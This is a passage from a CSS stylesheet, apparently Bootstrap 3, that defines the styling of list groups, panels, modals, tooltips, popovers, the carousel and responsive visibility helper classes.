255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n\n.media,\n.media .media {\n  margin-top: 15px;\n}\n\n.media:first-child {\n  margin-top: 0;\n}\n\n.media-object {\n  display: block;\n}\n\n.media-heading {\n  margin: 0 0 5px;\n}\n\n.media > .pull-left {\n  margin-right: 10px;\n}\n\n.media > .pull-right {\n  margin-left: 10px;\n}\n\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n}\n\n.list-group-item:first-child {\n  border-top-right-radius: 4px;\n  border-top-left-radius: 4px;\n}\n\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n\n.list-group-item > .badge {\n  float: right;\n}\n\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\n\na.list-group-item {\n  color: #555555;\n}\n\na.list-group-item .list-group-item-heading {\n  color: #333333;\n}\n\na.list-group-item:hover,\na.list-group-item:focus {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n\na.list-group-item.active,\na.list-group-item.active:hover,\na.list-group-item.active:focus {\n  z-index: 2;\n  color: #ffffff;\n  background-color: #428bca;\n  border-color: #428bca;\n}\n\na.list-group-item.active .list-group-item-heading,\na.list-group-item.active:hover .list-group-item-heading,\na.list-group-item.active:focus .list-group-item-heading {\n  color: inherit;\n}\n\na.list-group-item.active .list-group-item-text,\na.list-group-item.active:hover .list-group-item-text,\na.list-group-item.active:focus .list-group-item-text {\n  color: #e1edf7;\n}\n\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n\n.panel {\n  margin-bottom: 20px;\n  background-color: #ffffff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.panel-body {\n  padding: 15px;\n}\n\n.panel-body:before,\n.panel-body:after {\n  display: table;\n  content: \" \";\n}\n\n.panel-body:after {\n  clear: both;\n}\n\n.panel-body:before,\n.panel-body:after {\n  display: table;\n  content: \" \";\n}\n\n.panel-body:after {\n  clear: both;\n}\n\n.panel > .list-group {\n  margin-bottom: 0;\n}\n\n.panel > .list-group .list-group-item {\n  border-width: 1px 0;\n}\n\n.panel > .list-group .list-group-item:first-child {\n  border-top-right-radius: 0;\n  border-top-left-radius: 0;\n}\n\n.panel > .list-group .list-group-item:last-child {\n  border-bottom: 0;\n}\n\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n\n.panel > .table,\n.panel > .table-responsive > .table {\n  margin-bottom: 0;\n}\n\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive {\n  border-top: 1px solid #dddddd;\n}\n\n.panel > .table > tbody:first-child th,\n.panel > .table > tbody:first-child td {\n  border-top: 0;\n}\n\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n\n.panel > .table-bordered > thead > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:last-child > th,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-bordered > thead > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n  border-bottom: 0;\n}\n\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-right-radius: 3px;\n  border-top-left-radius: 3px;\n}\n\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n\n.panel-title > a {\n  color: inherit;\n}\n\n.panel-footer {\n  padding: 10px 15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #dddddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n\n.panel-group .panel {\n  margin-bottom: 0;\n  overflow: hidden;\n  border-radius: 4px;\n}\n\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n\n.panel-group .panel-heading + .panel-collapse .panel-body {\n  border-top: 1px solid #dddddd;\n}\n\n.panel-group .panel-footer {\n  border-top: 0;\n}\n\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #dddddd;\n}\n\n.panel-default {\n  border-color: #dddddd;\n}\n\n.panel-default > .panel-heading {\n  color: #333333;\n  background-color: #f5f5f5;\n  border-color: #dddddd;\n}\n\n.panel-default > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #dddddd;\n}\n\n.panel-default > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #dddddd;\n}\n\n.panel-primary {\n  border-color: #428bca;\n}\n\n.panel-primary > .panel-heading {\n  color: #ffffff;\n  background-color: #428bca;\n  border-color: #428bca;\n}\n\n.panel-primary > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #428bca;\n}\n\n.panel-primary > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #428bca;\n}\n\n.panel-success {\n  border-color: #d6e9c6;\n}\n\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n\n.panel-success > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #d6e9c6;\n}\n\n.panel-success > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n\n.panel-warning {\n  border-color: #faebcc;\n}\n\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n\n.panel-warning > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #faebcc;\n}\n\n.panel-warning > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #faebcc;\n}\n\n.panel-danger {\n  border-color: #ebccd1;\n}\n\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n\n.panel-danger > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #ebccd1;\n}\n\n.panel-danger > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #ebccd1;\n}\n\n.panel-info {\n  border-color: #bce8f1;\n}\n\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n\n.panel-info > .panel-heading + .panel-collapse .panel-body {\n  border-top-color: #bce8f1;\n}\n\n.panel-info > .panel-footer + .panel-collapse .panel-body {\n  border-bottom-color: #bce8f1;\n}\n\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000000;\n  text-shadow: 0 1px 0 #ffffff;\n  opacity: 0.2;\n  filter: alpha(opacity=20);\n}\n\n.close:hover,\n.close:focus {\n  color: #000000;\n  text-decoration: none;\n  cursor: pointer;\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\nbutton.close {\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.modal-open {\n  overflow: hidden;\n}\n\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  display: none;\n  overflow: auto;\n  overflow-y: scroll;\n}\n\n.modal.fade .modal-dialog {\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n  -webkit-transition: -webkit-transform 0.3s ease-out;\n     -moz-transition: -moz-transform 0.3s ease-out;\n       -o-transition: -o-transform 0.3s ease-out;\n          transition: transform 0.3s ease-out;\n}\n\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n\n.modal-dialog {\n  position: relative;\n  z-index: 1050;\n  width: auto;\n  margin: 10px;\n}\n\n.modal-content {\n  position: relative;\n  background-color: #ffffff;\n  border: 1px solid #999999;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 6px;\n  outline: none;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n  background-clip: padding-box;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n  background-color: #000000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n  filter: alpha(opacity=0);\n}\n\n.modal-backdrop.in {\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\n.modal-header {\n  min-height: 16.428571429px;\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n\n.modal-header .close {\n  margin-top: -2px;\n}\n\n.modal-title {\n  margin: 0;\n  line-height: 1.428571429;\n}\n\n.modal-body {\n  position: relative;\n  padding: 20px;\n}\n\n.modal-footer {\n  padding: 19px 20px 20px;\n  margin-top: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n\n.modal-footer:after {\n  clear: both;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n\n.modal-footer:after {\n  clear: both;\n}\n\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n\n@media screen and (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n  }\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1030;\n  display: block;\n  font-size: 12px;\n  line-height: 1.4;\n  opacity: 0;\n  filter: alpha(opacity=0);\n  visibility: visible;\n}\n\n.tooltip.in {\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #ffffff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000000;\n  border-radius: 4px;\n}\n\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top-color: #000000;\n  border-width: 5px 5px 0;\n}\n\n.tooltip.top-left .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  border-top-color: #000000;\n  border-width: 5px 5px 0;\n}\n\n.tooltip.top-right .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  border-top-color: #000000;\n  border-width: 5px 5px 0;\n}\n\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-right-color: #000000;\n  border-width: 5px 5px 5px 0;\n}\n\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-left-color: #000000;\n  border-width: 5px 0 5px 5px;\n}\n\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-bottom-color: #000000;\n  border-width: 0 5px 5px;\n}\n\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  border-bottom-color: #000000;\n  border-width: 0 5px 5px;\n}\n\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  border-bottom-color: #000000;\n  border-width: 0 5px 5px;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  text-align: left;\n  white-space: normal;\n  background-color: #ffffff;\n  border: 1px solid #cccccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  background-clip: padding-box;\n}\n\n.popover.top {\n  margin-top: -10px;\n}\n\n.popover.right {\n  margin-left: 10px;\n}\n\n.popover.bottom {\n  margin-top: 10px;\n}\n\n.popover.left {\n  margin-left: -10px;\n}\n\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 18px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n\n.popover-content {\n  padding: 9px 14px;\n}\n\n.popover .arrow,\n.popover .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n\n.popover .arrow {\n  border-width: 11px;\n}\n\n.popover .arrow:after {\n  border-width: 10px;\n  content: \"\";\n}\n\n.popover.top .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999999;\n  border-top-color: rgba(0, 0, 0, 0.25);\n  border-bottom-width: 0;\n}\n\n.popover.top .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  border-top-color: #ffffff;\n  border-bottom-width: 0;\n  content: \" \";\n}\n\n.popover.right .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999999;\n  border-right-color: rgba(0, 0, 0, 0.25);\n  border-left-width: 0;\n}\n\n.popover.right .arrow:after {\n  bottom: -10px;\n  left: 1px;\n  border-right-color: #ffffff;\n  border-left-width: 0;\n  content: \" \";\n}\n\n.popover.bottom .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-bottom-color: #999999;\n  border-bottom-color: rgba(0, 0, 0, 0.25);\n  border-top-width: 0;\n}\n\n.popover.bottom .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  border-bottom-color: #ffffff;\n  border-top-width: 0;\n  content: \" \";\n}\n\n.popover.left .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-left-color: #999999;\n  border-left-color: rgba(0, 0, 0, 0.25);\n  border-right-width: 0;\n}\n\n.popover.left .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  border-left-color: #ffffff;\n  border-right-width: 0;\n  content: \" \";\n}\n\n.carousel {\n  position: relative;\n}\n\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: 0.6s ease-in-out left;\n          transition: 0.6s ease-in-out left;\n}\n\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  height: auto;\n  max-width: 100%;\n  line-height: 1;\n}\n\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n\n.carousel-inner > .active {\n  left: 0;\n}\n\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n\n.carousel-inner > .next {\n  left: 100%;\n}\n\n.carousel-inner > .prev {\n  left: -100%;\n}\n\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n\n.carousel-inner > .active.left {\n  left: -100%;\n}\n\n.carousel-inner > .active.right {\n  left: 100%;\n}\n\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #ffffff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n  opacity: 0.5;\n  filter: alpha(opacity=50);\n}\n\n.carousel-control.left {\n  background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.5) 0), color-stop(rgba(0, 0, 0, 0.0001) 100%));\n  background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0, rgba(0, 0, 0, 0.0001) 100%);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n\n.carousel-control.right {\n  right: 0;\n  left: auto;\n  background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.0001) 0), color-stop(rgba(0, 0, 0, 0.5) 100%));\n  background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0, rgba(0, 0, 0, 0.5) 100%);\n  background-repeat: repeat-x;\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #ffffff;\n  text-decoration: none;\n  outline: none;\n  opacity: 0.9;\n  filter: alpha(opacity=90);\n}\n\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n}\n\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n}\n\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n}\n\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  margin-top: -10px;\n  margin-left: -10px;\n  font-family: serif;\n}\n\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #ffffff;\n  border-radius: 10px;\n}\n\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #ffffff;\n}\n\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #ffffff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n\n.carousel-caption .btn {\n  text-shadow: none;\n}\n\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicons-chevron-left,\n  .carousel-control .glyphicons-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -15px;\n    margin-left: -15px;\n    font-size: 30px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n\n.clearfix:before,\n.clearfix:after {\n  display: table;\n  content: \" \";\n}\n\n.clearfix:after {\n  clear: both;\n}\n\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.pull-right {\n  float: right !important;\n}\n\n.pull-left {\n  float: left !important;\n}\n\n.hide {\n  display: none !important;\n}\n\n.show {\n  display: block !important;\n}\n\n.invisible {\n  visibility: hidden;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.hidden {\n  display: none !important;\n  visibility: hidden !important;\n}\n\n.affix {\n  position: fixed;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\n.visible-xs,\ntr.visible-xs,\nth.visible-xs,\ntd.visible-xs {\n  display: none !important;\n}\n\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-xs.visible-sm {\n    display: block !important;\n  }\n  table.visible-xs.visible-sm {\n    display: table;\n  }\n  tr.visible-xs.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-xs.visible-sm,\n  td.visible-xs.visible-sm {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-xs.visible-md {\n    display: block !important;\n  }\n  table.visible-xs.visible-md {\n    display: table;\n  }\n  tr.visible-xs.visible-md {\n    display: table-row !important;\n  }\n  th.visible-xs.visible-md,\n  td.visible-xs.visible-md {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .visible-xs.visible-lg {\n    display: block !important;\n  }\n  table.visible-xs.visible-lg {\n    display: table;\n  }\n  tr.visible-xs.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-xs.visible-lg,\n  td.visible-xs.visible-lg {\n    display: table-cell !important;\n  }\n}\n\n.visible-sm,\ntr.visible-sm,\nth.visible-sm,\ntd.visible-sm {\n  display: none !important;\n}\n\n@media (max-width: 767px) {\n  .visible-sm.visible-xs {\n    display: block !important;\n  }\n  table.visible-sm.visible-xs {\n    display: table;\n  }\n  tr.visible-sm.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-sm.visible-xs,\n  td.visible-sm.visible-xs {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-sm.visible-md {\n    display: block !important;\n  }\n  table.visible-sm.visible-md {\n    display: table;\n  }\n  tr.visible-sm.visible-md {\n    display: table-row !important;\n  }\n  th.visible-sm.visible-md,\n  td.visible-sm.visible-md {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .visible-sm.visible-lg {\n    display: block !important;\n  }\n  table.visible-sm.visible-lg {\n    display: table;\n  }\n  tr.visible-sm.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-sm.visible-lg,\n  td.visible-sm.visible-lg {\n    display: table-cell !important;\n  }\n}\n\n.visible-md,\ntr.visible-md,\nth.visible-md,\ntd.visible-md {\n  display: none !important;\n}\n\n@media (max-width: 767px) {\n  .visible-md.visible-xs {\n    display: block !important;\n  }\n  table.visible-md.visible-xs {\n    display: table;\n  }\n  tr.visible-md.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-md.visible-xs,\n  td.visible-md.visible-xs {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-md.visible-sm {\n    display: block !important;\n  }\n  table.visible-md.visible-sm {\n    display: table;\n  }\n  tr.visible-md.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-md.visible-sm,\n  td.visible-md.visible-sm {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .visible-md.visible-lg {\n    display: block !important;\n  }\n  table.visible-md.visible-lg {\n    display: table;\n  }\n  tr.visible-md.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-md.visible-lg,\n  td.visible-md.visible-lg {\n    display: table-cell !important;\n  }\n}\n\n.visible-lg,\ntr.visible-lg,\nth.visible-lg,\ntd.visible-lg {\n  display: none !important;\n}\n\n@media (max-width: 767px) {\n  .visible-lg.visible-xs {\n    display: block !important;\n  }\n  table.visible-lg.visible-xs {\n    display: table;\n  }\n  tr.visible-lg.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-lg.visible-xs,\n  td.visible-lg.visible-xs {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-lg.visible-sm {\n    display: block !important;\n  }\n  table.visible-lg.visible-sm {\n    display: table;\n  }\n  tr.visible-lg.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-lg.visible-sm,\n  td.visible-lg.visible-sm {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-lg.visible-md {\n    display: block !important;\n  }\n  table.visible-lg.visible-md {\n    display: table;\n  }\n  tr.visible-lg.visible-md {\n    display: table-row !important;\n  }\n  th.visible-lg.visible-md,\n  td.visible-lg.visible-md {\n    display: table-cell !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n\n.hidden-xs {\n  display: block !important;\n}\n\ntable.hidden-xs {\n  display: table;\n}\n\ntr.hidden-xs {\n  display: table-row !important;\n}\n\nth.hidden-xs,\ntd.hidden-xs {\n  display: table-cell !important;\n}\n\n@media (max-width: 767px) {\n  .hidden-xs,\n  tr.hidden-xs,\n  th.hidden-xs,\n  td.hidden-xs {\n    display: none !important;\n  }\n}\n\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-xs.hidden-sm,\n  tr.hidden-xs.hidden-sm,\n  th.hidden-xs.hidden-sm,\n  td.hidden-xs.hidden-sm {\n    display: none !important;\n  }\n}\n\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-xs.hidden-md,\n  tr.hidden-xs.hidden-md,\n  th.hidden-xs.hidden-md,\n  td.hidden-xs.hidden-md {\n    display: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .hidden-xs.hidden-lg,\n  tr.hidden-xs.hidden-lg,\n  th.hidden-xs.hidden-lg,\n  td.hidden-xs.hidden-lg {\n    display: none !important;\n  }\n}\n\n.hidden-sm {\n  display: block !important;\n}\n\ntable.hidden-sm {\n  display: table;\n}\n\ntr.hidden-sm {\n  display: table-row !important;\n}\n\nth.hidden-sm,\ntd.hidden-sm {\n  display: table-cell !important;\n}\n\n@media (max-width: 767px) {\n  .hidden-sm.hidden-xs,\n  tr.hidden-sm.hidden-xs,\n  th.hidden-sm.hidden-xs,\n  td.hidden-sm.hidden-xs {\n    display: none !important;\n  }\n}\n\n@media (min-width: 